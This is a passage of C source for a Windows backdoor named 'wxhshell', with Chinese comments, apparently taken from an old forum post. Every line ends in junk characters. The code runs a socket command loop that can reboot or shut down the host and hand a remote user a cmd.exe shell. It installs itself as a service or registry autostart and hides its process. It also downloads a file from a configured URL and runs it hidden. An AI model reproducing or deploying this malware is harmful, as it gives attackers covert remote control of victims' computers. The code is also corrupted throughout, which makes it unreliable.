  // 帮助 >o45vB4o  
  case '?': { A~Uqw8n$\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sD_"  
    break; J|Af`HJ  
  } Lc0yLm  
  // 安装 FXF#v>&  
  case 'i': { heF<UMI  
    if(Install()) Tw)"#Y!T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BkO)hze  
    else B^{87YR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OI0tgkG  
    break; h_w_OCC&2  
    } \Gzo^w  
  // 卸载 NEY b-#v  
  case 'r': { Xfq]vQ/{  
    if(Uninstall()) 71$MhPvd<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `;'fCO!  
    else q/|WkV `m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q^.\8zFf  
    break; "q'9-lk  
    } x>E**a?!L  
  // 显示 wxhshell 所在路径 eqFOPK5q  
  case 'p': { fUJ\W"qya  
    char svExeFile[MAX_PATH]; y 8./)W&/  
    strcpy(svExeFile,"\n\r"); ]0g%)fuMf  
      strcat(svExeFile,ExeFile); WecJ^{g>r{  
        send(wsh,svExeFile,strlen(svExeFile),0); >Za66<:  
    break; 1V@\L|Y  
    } 8/4Gr8 o  
  // 重启 @3 UVl^T  
  case 'b': { l imzDQ^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JMT?+/Qbu  
    if(Boot(REBOOT)) iN}BMd.U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rI[Lg0S  
    else { i"rrM1/r  
    closesocket(wsh); /)ubyl]^p  
    ExitThread(0); SwDUg}M~  
    } P'nbyF  
    break; Z~Mq5#3F  
    } p2=Sbb  
  // 关机 jZ'y_  
  case 'd': { $j~oB:3n7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kt";Jx  
    if(Boot(SHUTDOWN)) Q&rf&8iH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aE_)iE|  
    else { g>[|/z P  
    closesocket(wsh); }}GBCXAf_  
    ExitThread(0); t `4^cd5V  
    } )-3!-1  
    break; mX8A XWIa  
    } Cf_Ik  
  // 获取shell /WDz;,X  
  case 's': { Q7y6</4f  
    CmdShell(wsh); %qzpt{'?<  
    closesocket(wsh); 4*UoTE-g$  
    ExitThread(0); /D[GXX  
    break; (u]ajT  
  } t[6g9e$  
  // 退出 ,EgIH%* g  
  case 'x': { VA _O0y2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tUmI#.v   
    CloseIt(wsh); .P=uR8  
    break; u.gh04{5  
    } NgKbf vt  
  // 离开 Z`xz|:D+  
  case 'q': { P,"z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qYFol# =%  
    closesocket(wsh); TJ9,c2d+  
    WSACleanup(); `8F%bc54iw  
    exit(1); `4cs.ab  
    break; o'Q)V  
        } !MB%  
  } ?lb1K'(  
  } US)wr  
6|#^4D)  
  // 提示信息 q[]!V0Ek10  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~?vm97l  
} r0kA47  
  } a#1LGH7E8  
ewgcpV|spn  
  return; q*A2>0O  
} -e%=Mpq.  
uL b- NxQ-  
// shell模块句柄 ~}4o=O(  
int CmdShell(SOCKET sock)  zUqiz  
{ @hm %0L  
STARTUPINFO si; F|V_i C+  
ZeroMemory(&si,sizeof(si)); #hd<5+$U}l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *6Rl[eXS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v?<x"XKR  
PROCESS_INFORMATION ProcessInfo; y wk;  
char cmdline[]="cmd"; g_] u<8&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #rV=!j||  
  return 0; %kJ:{J+w]  
} C3 0b}2  
e=Kv[R'(M  
// 自身启动模式 d"XS;;l%<  
int StartFromService(void) _89 _*t(  
{ c ~YD|l  
typedef struct D{.%Dr?  
{ Q|gun}  
  DWORD ExitStatus; {L$b$u$7:  
  DWORD PebBaseAddress; p/lMv\`5  
  DWORD AffinityMask; lIzJO$8cM  
  DWORD BasePriority; 5vbnO]8  
  ULONG UniqueProcessId; NfR,m ]  
  ULONG InheritedFromUniqueProcessId; S97.O@V!$  
}   PROCESS_BASIC_INFORMATION; qvYYKu  
]vQo^nOo  
PROCNTQSIP NtQueryInformationProcess; 9z'</tJ`  
H gNUr5p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YhLtf(r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J~gfMp.  
N>ct`a)BD/  
  HANDLE             hProcess; -ZQ3^'f:0J  
  PROCESS_BASIC_INFORMATION pbi; @dCu]0oNI  
Oku4EJFJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {k?Y :  
  if(NULL == hInst ) return 0; .j}u'!LKul  
5\=9&{WjND  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7U.g4x|<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $Q{1^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?783LBe  
crgYr$@s?  
  if (!NtQueryInformationProcess) return 0; QwT ]| 6>  
\|62E):i1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {]D!@87  
  if(!hProcess) return 0; 3sp*.dk  
R@VO3zsW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &2xYG{Z  
G~B V^  
  CloseHandle(hProcess); @bqCs^U35  
r]HLO'<]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lC_zSmT  
if(hProcess==NULL) return 0; uqQMS&;+,|  
$}KYpSV  
HMODULE hMod; r`B+ KQ4  
char procName[255]; M;iaNL(  
unsigned long cbNeeded;  v$tS 2N2  
~!&[;EM<bm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <BU|?T6~  
 gA[M  
  CloseHandle(hProcess); %BG5[ XQ7  
1|. 0]~0  
if(strstr(procName,"services")) return 1; // 以服务启动 rk. UW  
"V^jAPDXb  
  return 0; // 注册表启动 _b5iR<f  
} njq-iU  
]cA~%$c89s  
// 主模块 Z^~ 6pH\  
int StartWxhshell(LPSTR lpCmdLine) Aj`4uFhiL  
{ { a_L /"7  
  SOCKET wsl; yv:NH|,/y  
BOOL val=TRUE; M^[ jA](a  
  int port=0; CD tYj  
  struct sockaddr_in door; A!Yqj~  
~%}g"|o  
  if(wscfg.ws_autoins) Install(); b,`\"'1  
i,<-+L$z  
port=atoi(lpCmdLine); r9t{/})A  
Ucy9fM  
if(port<=0) port=wscfg.ws_port; W1!eY,1}  
(\I =v".  
  WSADATA data; U^YPL,m1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .F6#s  
wS^-o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   co@8w!W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1k~jVC2VA  
  door.sin_family = AF_INET; s6]f#s5o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 37[C^R!1c  
  door.sin_port = htons(port); 'oEmbk8Hg  
Iymz2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <?g{Rn  
closesocket(wsl); jl@8pO$  
return 1; FV9RrI2  
} NAU<?q<)  
51,m^veO  
  if(listen(wsl,2) == INVALID_SOCKET) { Mzd}9x$'J  
closesocket(wsl); 5jLDe~  
return 1; xVe!  
} Q4PXC$u  
  Wxhshell(wsl); +W1rm$Q  
  WSACleanup(); 'YeJGzsJp  
$d=lDN  
return 0; DIRCP=5  
k);!H+  
} -5[GX3h0  
f,#xicSB*  
// 以NT服务方式启动 #n"/9%35f`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O?!"15  
{ g;h&Xkp  
DWORD   status = 0; dB5DJ:$W$  
  DWORD   specificError = 0xfffffff; >gE_?%a[  
KOQTvJ_#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %([c4el>\F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &M!:,B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [ n2udV  
  serviceStatus.dwWin32ExitCode     = 0; 8f.La  
  serviceStatus.dwServiceSpecificExitCode = 0; +\%zy=  
  serviceStatus.dwCheckPoint       = 0; ^bG!k]U!2  
  serviceStatus.dwWaitHint       = 0;  #L)rz u  
2&m7pcls  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [;I8ZVE  
  if (hServiceStatusHandle==0) return; (AYD @  
"->:6Oe2   
status = GetLastError(); 63HkN4D4  
  if (status!=NO_ERROR) 7yp*I[1Qf>  
{ *`#,^p`j b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1GdD  
    serviceStatus.dwCheckPoint       = 0; W<Lrfo&=Y]  
    serviceStatus.dwWaitHint       = 0; '}u31V"SS  
    serviceStatus.dwWin32ExitCode     = status; g&>Hy!v,  
    serviceStatus.dwServiceSpecificExitCode = specificError; sfa'\6=O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hgK=fHJ k  
    return; 5[_8N{QC;  
  } (4LLTf0  
+$t%L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R5"p7>  
  serviceStatus.dwCheckPoint       = 0; ,k!a3"4+TJ  
  serviceStatus.dwWaitHint       = 0; 2#3R]zIO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1' m $_  
} Zi)b<tM q  
Bv8C_-lV/  
// 处理NT服务事件,比如:启动、停止 %S.U`(.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~-d.3A $u  
{ R6;>RRU_  
switch(fdwControl) jhv1 D' >6  
{ fXe-U='  
case SERVICE_CONTROL_STOP: U[l%oLra  
  serviceStatus.dwWin32ExitCode = 0; {M/c!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k 5D'RD  
  serviceStatus.dwCheckPoint   = 0; Wi^rnr'S s  
  serviceStatus.dwWaitHint     = 0; 4&e@>  
  { c'";3 6y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2(Uz9!<V  
  } 7-I>5 3@  
  return; Kdu\`c-lB  
case SERVICE_CONTROL_PAUSE: AF]!wUKxy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y)}%SP>,  
  break; OPW"AB J  
case SERVICE_CONTROL_CONTINUE: PU5mz.&0'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :-La $I>  
  break; 4Z9wzQ>  
case SERVICE_CONTROL_INTERROGATE: F|TMpH/  
  break; e oSM@Isu  
}; pm~;:#z7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $?AA"Nz  
} #J724`  
'-33iG  
// 标准应用程序主函数 Wxau]uix  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W'h0Zg  
{ + <9 eN  
J+jmSK%z  
// 获取操作系统版本 d`uO7jlm  
OsIsNt=GetOsVer(); < iI6@X>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _G #"B{7  
l/zC##1+.  
  // 从命令行安装 +'KE T,  
  if(strpbrk(lpCmdLine,"iI")) Install(); -MU.Hu  
: 5<9/  
  // 下载执行文件  ;c Co+(  
if(wscfg.ws_downexe) { U q w}4C/0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) An #Hb=  
  WinExec(wscfg.ws_filenam,SW_HIDE); X2dc\v.x  
} ~vSAnjeR  
jS3(>  
if(!OsIsNt) { #z!Hb&Qi\  
// 如果时win9x,隐藏进程并且设置为注册表启动 }BdVD t  
HideProc(); E? eWv)//  
StartWxhshell(lpCmdLine); |F@xwfgb  
} br;H8-   
else cPsn]U  
  if(StartFromService()) {{ *]bGko  
  // 以服务方式启动 !Nl.Vb  
  StartServiceCtrlDispatcher(DispatchTable); ;=+Zw1/g  
else Mp"'?zf  
  // 普通方式启动 KU|BT .o8  
  StartWxhshell(lpCmdLine); 4s~HfxYT  
.blft,'  
return 0; 1%spzkE 3P  
}
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只看该作者 1 发表于: 2006-10-10
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